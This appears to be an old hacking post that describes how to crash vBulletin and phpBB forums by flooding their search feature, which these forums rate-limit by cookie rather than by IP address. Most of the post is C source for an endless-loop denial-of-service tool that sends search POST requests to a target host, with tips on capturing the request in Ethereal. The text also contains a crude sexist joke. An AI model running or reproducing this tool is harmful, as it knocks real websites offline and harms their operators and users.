Hacking vbulliten and phpbb - The Byzantine Attack

// I have figured out how to successfully crash any php-driven forum. Utilizing a public search, you can create multiple searches -- a hundred or so a second -- which causes the system to lock up from processing searches in its database. It is a non-browser-based html injection. Every forum I have encountered has flood protection based on cookies, and not by IP address. Most forums do not come with IP-based flood protection which surprises me.
// For reference, I called this the "VX Series", after the nerve gas which has the same characteristics of attack as this program has.
I have tested this on vbulliten, and phpbb. A bit of knowledge has to be used when writing this, as the writer will have to manually change certain variables in order to make this work. But because of this, versions of the forum do not matter, as when you edit it, you will specify certain changes. The easiest way of getting the correct syntax for a post method is to run Ethereal while performing a search, and then do a "follow stream" in Ethereal, which will display the information your browser sent to the forum.

// I am confident that I am not "arming kindergarteners" with this exploit. Though it is very easy to implement, knowing how to follow streams in Ethereal is a very hard concept to master....unless, of course, you know what you're doing, in which case it is easier than that drunk sorority chick whose name you've already forgotten.

#include "stdio.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"
#include "netdb.h"
int main() {
int sockfd, portno = 80, n, x=1;
struct sockaddr_in serv_addr; struct hostent *server;
server = gethostbyname("someforum.com");
char *headerinfo=(char *)malloc(4*BUFSIZ);

while(1){
++x;

// this is where you enter the info from Ethereal.
sprintf(headerinfo, "POST /search.php HTTP/1.1\r\n"
"Host: \r\n"
"User-Agent: \r\n"
"Accept: \r\n"
"Accept-Language: \r\n"
"Accept-Encoding: \r\n"
"Accept-Charset: \r\n"
"Keep-Alive: 500\r\n"
"Connection: keep-alive\r\n"
"Referer: \r\n"
"Content-Type: \r\n"
"Content-Length: \r\n\r\n"

"search_variable");

sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0){
perror("ERROR opening socket");
exit(1);  }

if (server == NULL) {
perror("ERROR, no such host\n");
exit(0);
}

bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)server->h_addr,(char *) //
&serv_addr.sin_addr.s_addr,server->h_length);
serv_addr.sin_port = htons(portno);
connect(sockfd,&serv_addr,sizeof(serv_addr));
write(sockfd,headerinfo,strlen(headerinfo));
close(sockfd);

write(1, ".", 1);
}
return 0;
}